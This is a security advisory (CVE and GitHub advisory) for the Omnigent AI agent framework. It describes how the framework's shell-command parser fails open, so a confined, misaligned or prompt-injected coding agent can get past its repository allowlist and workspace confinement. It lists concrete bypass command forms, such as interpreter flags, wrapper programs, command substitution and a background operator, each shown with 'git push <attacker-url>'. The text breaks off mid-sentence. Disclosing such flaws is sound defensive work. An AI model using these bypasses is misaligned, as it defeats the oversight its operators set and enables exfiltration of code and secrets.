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fkie_cve-2026-62676

Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.

GHSA-7mqg-cx4g-x2rf — Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py

Affected: PyPI: omnigent

**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) **Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" **Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)

## Summary

The shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

## Impact

A misaligned or prompt-injected agent that is *meant to be confined* can:

- `git push` to an attacker-controlled repo (code / secret exfiltration), - push to a protected branch, - escape its workspace via `git worktree add` / `git -C <other-dir>`.

## Bypass classes (all verified against the real policy code)

- **Combined interpreter flags:** `bash -lc "git push <attacker-url>"` - **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …` - **Command substitution:** `x=$(git push <attacker-url>)` - **Un-split background operator:** `true & git push <attacker-url>`

Controls that **correctly hold** (confirming this i…